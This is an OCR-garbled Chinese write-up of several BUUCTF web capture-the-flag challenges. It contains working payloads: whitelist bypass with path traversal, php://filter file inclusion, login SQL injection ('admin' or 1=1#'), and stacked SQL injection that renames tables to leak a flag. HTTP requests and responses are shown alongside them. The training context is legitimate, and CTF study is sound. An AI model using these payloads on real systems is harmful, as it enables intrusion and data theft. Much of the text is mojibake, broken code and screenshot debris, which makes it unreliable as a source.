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Load URL [ http://9b7349b2-¢c398-42¢cd-alee-6fff2c1b802c.node4.buuoj.cn:81/
Split URL

Execute

[ ] Postdata [ | Referrer ¥ OxHEX ™» &% %URL ¥ &% BASE64 W
£~ LCookiesv 2 CSSv A=ty @EHK~ @NEEE~ H=tlgsy FJind SaEgy ATE-
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{!DOCTYPE html>

<html lang="en”>

<head>
<meta charset="UTF-8">
{meta name="viewport” content="width=device-width, initial-scale=1.0">
{meta http—equiv="X-UA-Compatible” content="ie=edge”>
<(title>Document</title>

</head>

<body>
{!—source. php—> I

<br>{img src="https://i.1loli.net/2018/11/01/5bdb0d93dc794. jpg” /></body>
</html>
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php
highlight file(_ FILE_);
class emmm
{
public static function checkFile(&$page)

{

$whitelist

if (! isset($page) is_string($page)) {
echo ;

return false;

if (in_array($page, $whitelist)) {

return true;

$_page = mb_substr(

$page,

0,

mb_strpos($page
)s

if (in_array($_page, $whitelist)) {

return true;

$ page = urldecode($page);

$_page = mb_substr(
$_page,
0,
mb_strpos($_page

)

if (in_array($_page, $whitelist)) {
return true;

)i

echo

return false;

if (! empty($_REQUEST[ D)
is_string($_REQUEST[ D)
emmm: :checkFile($_REQUEST[

) |

include $ REQUEST[ 1;
exit;

} else {

echo
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AN ifiEAH W tpage R BHEE T owhitelistH A, FEMKREtrue

=N FEAHRBUS M$page R BFE T $whitelist A, #B$paget ' ? BiEF4, FFENREtrue
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BUALAEAS, SEHATur LS EEEL, FULIRAT POk P S B ikurl iy, 7EMRSS &5t iS5 S —IR, checkFile ¥ fiEhd

ey 2, Mg BN AEaRR. 2 RREEEN ), Higurl:
Fr AR AT payload i
file=source.php’file=source.php%253f ffffllllaaaagggg

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODINCG

@ Load URL [ http://9b7349b2-c398-42cd-a0ee-6fff2c1b802c.node4.buuoj.cn:81/hint.php|

& split URL

b Execute

[ ] Postdata [ Referrer 4 OxHEX ™» @% %URL 3» @ BASE64 I Inser
@2~ AcCookiesv 2 CSsv [J=ta~ @EE~ @WESE~ [EtThas Jindy JEir ALS~ m=EEFA

flag not here, and flag in|ffffllllaaaagggg
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MIhEZlflag
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@ Load URL fhttp://Qb?349b2—c398—42(d—aOee—6ﬁf2c1b8[]2[.node4.buuoj.cn:8‘l/?ﬂle:source.php%253F../../../../../ff'f'fllllaaaagggg‘
4 split URL

4 Execute

[] Postdata [ ] Referrer 4 OxHEX &% %URL @& BASEG4 I Insert string to replac

lace | Insert replacing string

@z~ Acookies¥ p cssv [J=ay @EK~ ORMREE~ MEMesy Jncy JExr ATEY MESREY N5y
flag{50056ff1-42ae-4536-bcfd-bfb4e7f2edca}
NI ¥ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY-  100LS- WAF BYPASS- ENCODING- HIML- ENCRYPIION- OIHER- XS5- LH-
& Load URL /http:,n'/SOb6?343-fc8f—4024-998e-b405c2ef1c3e.n0de4.buuoj.cn:81,"
% split URL
» Execute

[] Post data [] Referrer 4™ OxHEX & %URL ¥ & BASE64 I et ‘|9:‘155!!15}).‘“&[."1?_@'SEH-’F:j Replace All 8 ™=

D=~ KCookiesw £ 0SS+ [I=m~ @EA~ @REES- Bt Fmor SRk KATS- EESRS- (1sm-

raLn

Syclover @ clqy

XM EIINE T, RKIA RIS

@ Load URL rhttp://S0b67343—fc8f74024—999&—b40552ef1cSe.nodeA.buuoj.cn:BU
¢  Split URL

Execute

[ Postdata [] Referrer @ OxHEX 3» @ %URL 3 &% BASEG4 I |-+

@z~ Kcookiesw 2 CSsv [=tay @ER~ @NmESy F=inihag-

iRy f Ty ATE~ WEBSFABY LRy

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1" at line 1
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payload:

Request

Pretty

L

Wk =0 00~ 0K

Raw Actions

\n

GET Kchsck.php?ussrnams:admin‘%wOOr%201:1%23&password:123 HTTP/1.1
Host: 50b67343—fcB8f-4024-99ee-b405c2ef1cle. noded. buuoj. cn: 81
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, **;q=
Accept—-Language: zh—CN, zh;q=0. 8, en-US;g=0. 5,en;q=0. 3
Accept—-Encoding: gzip, deflate

Referer: http://50b67343-FfcBf-4024-99ee-b405c2ef1c3e. noded. buuoj. cn:
DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade—Insecure—Requests: 1

[t% % K Pk hk 2019]Havefun

/check.php?username=admin'%200r%201=1%23&password=123

Response —
Pretty BEEVM Render \n  Actions
1 HTTP/1.1 200 OK
7 Server: openresty
3 Date: Fri, 26 Nov 2021 16:15:25 GMT
4 Content—Type: text/html; charset=UTF-8
5 Connection: close
&6 X-Powered—By: PHP/7. 3. 11
7 Content-Length: 779
8
9 <IDOCTYPE html>
10 <html>
11 <head>
12 <meta charset="UTF-8">
13 <title>check</title>
14 </head>
15 <div style="position: absolute;bottom: O;width: 99%; ">{p align="cente
style="font:italic 15px Georgia, serif;color:white;"> Syclover @ cl4
prl/divy
.16
17 <body background='./image/background. jpg' style='
background-repeat:no-repeat ;background-size:100% 100%;
background-attachment: fixed;'>
18 <br><br><br>
19 <h1 style='font—family:verdana;color:red;text-align:center;
Login Success!</hi1>br><br><br>
20 <br>
21 <p style='
font—family:arial;color:red;font-size:30px;text—align:center; '>flag:
<p>
22 </br>
23 <p style='
tont—tamily:arial;color:#TTTT1T;Tont-size: Ppx;text—align:center; >
fIag{?d27a55c—4d3b—40dd—9?38—84d5340fa482}3]
LT Ty
25 </body>
26
27 </html> _
28 CSDN @R
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INT  “ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL
B split URL
@ Execute
[] Post data [ | Referrer 4% OxHEX ™ % %URL ™» &% BASE64 _ _ Replace All D

bg:mv A Cookiesw » CSSv [I=m~ @EA~ @NESE~ Bletmay Jimoy S ATS~ WESRAD (1sEmEy

S5 W LIRS L

b </div>

S div

8 {fI—

9 Scat=§ GET[ cat’];
0 echo $ecat;

1 if($cat=="dog’) {

2 echo 'Syc{cat cat cat cat}’ ;
3 }

4 —>

5 {div style="position: absolute:;bottom: 0;width: 9
6

7

</body>
</html> CSDN @EFESIE*

R T Hcat=dog/ERE Hiflag T . T B ARFN 3] EnE



& Load URL [ httpy//77953a7f-38b1-447e-9a69-c195837670ba.node4.buucj.cn:81/?cat=dog|
{  split URL

] Execute

[] postdata [] Referrer 4% OxHEX ¥ &% %URL ¥ &% BASE64 I — Hmseﬁrep!aahg string Replace All E
Dz~ ACookies » Css [~ @EA~ @RmES- Bt~ /mo- FSHic ATS- EESFS- -

flag{b7670a9c-370d-45ae-a260-a73f53dd9d6e}

CSDN @RI E T

[ACTF2020 7 4 #]include

- AL N 1JUuuuLLTuUsSETHLUUTUaas T ILE D TEOT JLO T LT IuUeEs. uuy | B~ AU L™
INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- |
@l Load URL | http://7f5dd6cc-d24e-4c0d-baad-5c¢251e879¢87.noded.buuoj.cn:81/

& split URL

b Execute |

[] Postdata [ ] Referrer 4 OxHEX 3» @% %URL ¥ % BASE4 ™
@@=~ AcCookiesv 2 Cssv A=y @EK~ OREEEY H=hgs Jimd FaEge ATE~

tips
.

CSDN @FERFSIE"

B %R H £include, BTl RS X8

@l Load URL [ http://7f5dd6cc-d24e-4c0d-baad-5c¢251e879¢87.noded . buuoj.cn:81/?file=flag.php
& split URL

b Execute

[ ] Postdata [ | Referrer @ OxHEX ™» @& %URL ¥ &% BASE64 ™
@z~ ACookiesw # css~ =~ @EA~ @RIEE- [H=iThaly A JEm ATE |

Can you find out the flag?
CSDN @mEFHEIE*

2388 B php:/ffilterty Bri
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php



UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

INT ~ = @& SQLBASICS-
@ Load URL [ httpy//7f5dd6cc-d24e-4c0d-baa4-5c251e879¢87.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
% splitURL

» Execute

‘ |Inserf replacing string Replace All 38 | ™=

[] Post data [ ] Referrer 4 OxHEX M» &% %URL ¥ &% BASEG4 P |-+
@zm~ Acookiesw # Cssv [lF=wmr @ER~ @RIUES~ EHEhalr Jinoy Mgy KATHR- MESFEEB- [LER
PDO9waHAKZWNobyAiQ2FulHIvdSBmaW5kiG91dCB0aGUgZmxhZz810wovL2ZsYWd7NzAXZGNiMDQtOWZIYSOOMTIXLThmNDEtMzJiZmISMWZIYzBifQo=

CSDN @F5RF

base64f#iL15

ecf::c- "Can you find out the flag?";

= ¥/ailag{701dcb04-9fea-4121-8f41-32bfb91fecOb}
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NHFEREEMESE, Rii—aiE: ALRER—4A0

=l | EEmEg
array(2) {

[ol=>

string(l) 1”7

[11=>

string(7) “hahahah”

& —HRIRG
<html>

<head>
{meta charset="UTF-8">
{title>easy sql</title>
{/head>

{body>
<h1>HUM TRk msE 5%, Wil —h)iE: R Z 4 — A0 </hl>
\</— sqlmap#id# R8T —> |
{form method="get”>
724 <input type="%ext” name="inject” value="1">
{input type="submit
¢/ form>

{pre> k! 1V, BBEFEILENIE
array(2) {

[0l=>

string(l) “1”

[11=>

string(7) “hahahah”

1
<{br><{/pre>

</body>

CSDN @RS E*

</htm1> e
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@l Lload URL [ http://c2739aeb-0829-4057-bd8b-03b419ecal17.node4.buuoj.cn:81/

% split URL

' Execute

[]Postdata []Referrer 4% OxHEX 3 4% %URL 3 4% BASE64 3B |,,+

‘ ‘lﬂsertfep/a(t})g 5fmrg‘ Replace Al 3 | -
@@~ AcCookiesw » cssv [J#m- @ER~ QREER~ @Euhi Jncr SEn ATSY MESHAEY LERET

WAFEREERIRSE, Rii—0i&: FARNESR—AT

- Ty )]

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use neat line 1

c

CSDN O FFIE"

union select #4713,

@ Load URL http://c273%aeb-0829-4057-bd8b-03b419ecal17.node4.buuoj.cn:81/
4§ split URL
Execute

[ Postdata [ Referrer 4 OxHEX 3 % %URL 3 @% BASE6d 3 ‘,,+ ‘
@z~ AcCookiesw p cssv (A=t~ @EK~ @NIEs- HEmhes Aimc &5 o

Insert replacing string

Replace All

BAFRAEERRSE, Rii—aiE: FRNZER—4A0

Zih |1' union select 1,2,3%| | 1B3rEa

return preg_match(”;lselect update delete drop|insert | where \.I/i: Siniect) :

5T, select#iZT, unionfi[EA1T TN

RIEHMBE THBEN, HNEAREAMEN. REREHRE-TEBT! 1!



S

1';show databases;—+ ‘ 123rEE

arrav(2) {
[0]=>
string (1) 17
[1]=>
string(7) “hahahah”

arrav (1) {
[0]=>
string(11) | “ctftraining”

}

array(l) {
[0l=>
string(18) “information schema”

}

array(l) {
[0l=>
string(5) “mysql”

}

array(l) {
[0l=>

string (18) “performance schema” CSDN @

1% i ctftrainingiX — AN F
REEER

Q=T &Cookies™ 7 CSsv LIFES~ @SR QMRES” EECIET 2 Ncr FEHy A LS EEmRty [ LiEny

NFREARERIRESE, Rin—ai&: ARHRER—A4A0

2 ‘1’;show tables; | 1EArE

array(2) {
[ol=>
string(1l) “17
[11=>
string(7) “hahahah”

}

array (1) {
[ol=>

string(16) "|1919810931114514f
}

array (1) {
[ol=>

string(5) '
}




CSDN @FEFEFE"

RIEBEBEWIKRRIEH

ErEs

E | 1919810931114514 " ; #|

array(2) {

[0l=>

string(1l) “1”

[1]1=>

string(7) “hahahah”
}

array(6) {
[0l=>
string(4)
[11=>
string(lZ)I”varchar(lOO)”I
[21=>
string(2) “NO”
[31=>
string(0) 77
[4]=>
NULL
[5]=>
string(0) 77

CSDN OFE/FFIE"

array(6) {
[0l=>
string(2) |"id”
[11=>
string(7) “int(10)”
[21=>
string(2) "NO”
[31=>
string(0) "
[41=>
NULL
[5]=>
string(0) 7

1

arrav(6) {
[0]=>
string(4) |data”
[1]=>
string(11) “varchar(20)”




[2]=>
string(2) “NO”
[3]=>
string(0) 7
[4]=>

NULL

[5]=>
string(0) 7

AT DIFENBRATIRAZ B RN E DA XK BEE RN
7. BAEHIBER)IRFE A BER  selsect id,data from words where id =

FAT AES AW, XEHMERER T — ML T, EwordskE i iwords1, 2RJE181919810931114514% Hwords, FEIE
¥l & flagifkid, &4 LEKT or 1=1#8 L LA N AR T A& flaghh

1';rename words to wordsl;rename ~1919810931114514° to words;alter table flag id varchar(100) CHARACTER SET utf§

COLLATE utf8 general_ci NOT NULL;desc words;#

BH—TF IR #EId=1 or 1=1#

Z 1 | EEE
array(l) {
[0]=>
string(42) "flag{d6628c97-69f3-41b7-819f-a295b7d53062} "
}
CSDN @R FE=R*
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[SUCTF 2019]EasySQL

[ ] Postdata [ ]| Referrer 4 OxHEX ™» & %URL ™
k=M~ KCookiesw 2 CSSv =ty @EK~ @REESY H=hs A~ |

sive me your flag, | will tell you if the flag is right.
| s

vrray ([0] => 1)
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Pretty \n Actions JiEil Raw  Render ‘\n  Actions l

POST / HTTP/1.1 " spoays
7 Host: 348ea23e-0466-452c—b%60-a33923751163. noded. buuc j. cn: 81 . . . . . .
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) 22 ziir:' :Zt":n’__“,’,‘frm:t'::{’i:,', :;t',',;s” you if the flag is right. ¢/
Gecko/20100101 Firefox/49.0 b Cirout tyna="tent namZZ"query"> ]
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9,%/*;q= 29 Cinput type="submit">
5 Accept—Language: zh—CN, zh;q=0. 8, en—-US;q=0. 5, en;q=0. 3
R . 23 </form>
& Accept—Enceding: gzip, deflate 24 <bodyd
7 Referer: http://348ea23e-0466-452c—b%60-a33923751163. noded. buuoj. cn: 25 | </html>
2 Cookie: PHPSESSID=d21314fd58b88088b69d61bAct2b0a81 26
9 DNT: 1 71a
0 X-Forwarded—For: 8.8.8.8 gé (rray
1 Connection: close _
29 [0] => 1
7 Upgrade—Insecure—Requests: 1 30)
3 Content-Type: application/x—www—form—urlencoded ;‘ Array
4 Content-Length: 26 ;2 (
5
6 query=1;show databasss;—++ ii }0] = otf
35 Array
36 (
37 [0] =» ctftraining
38 )
39 Array
40 | (
41 [0] =» information_schema
42 )
43 Array
44 (
45 [0] => mysql
46 )
47 Array
48 | (
49 [0] =» performance_schema
50 )
51 Array
52 (
53 [0] => test
54 )

55
’ﬂfgfj @[3] | search.. 0 matches @{Bﬁ [Z]@ | search.. CLoUN f’”B:MEtcﬁé@

L £ R e MENIESILNS  Em e aTIRD WS g cMOA e SRS WNT

Give me your flag, | will tell you if the flag is right.
|1;5how databasﬁ;%B”‘ 1EArEna) ‘

Array ([0] => 1) Array ( [0] => ctf) Array ([0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test)

Upgrade—Insecure—Hequests: 1 3 <html>
Content—-Type: application/x—www—Tform—urlencoded 14 <head>
Content-Length: 28 </head>

-] O~ N

query=1;select database();—+ <body>

8

19 <ar Give me your flag, | will tell you if the flag is
0 <form action="" method="post">

21 <input type="text" name="query">

22 <input type="submit">

23 </form>

24 </body>

25 <himl >

27 Array
28 (

29 [0] =>1
0)

Array

(

[0] =>» cotf
)

[RE TR Ry AR
A

(5]



select# 7] LAH

XIE E 7 EBRATE X 5 b 8 AT

1. BARZHFBE N ELE 1WA KR FREA I E B =>RF W A AR K& iE O RAEE|
2. tEt2select A KIEE|NE K —AF& from RE=>1K

select postift 2= #1%i# flag from Flag(Z A R IR 4, EidHEBENTTA)

SRR B |72 20 £ £ P R or R £

M B Msqlid A A

sql=“select”.post[ ‘query’

R $post] query | ¥ 4R ~*1, sqiEAMER T

1| |flag Flag

Flag

|

R EEEMNE TFlagRTHEANE

[ ] Postdata [ | Referrer ¥ OxHEX ™» @& %URL ™» &% BASEs4 X
@z~ AcCookiesv »# Cssv [J=m~ @EA~ @RIEE~ [=mIhasy Jimcy o mmr ATS

Give me your flag, | will tell you if the flag is right.
*1 | fesEns

Array ( [0] => flag{9a9bf862-3e82-4ef8-a565-148e2e638145} [1] => 1)

~er P -_' 1 == '.-_—I. ol
UM WEIFFER
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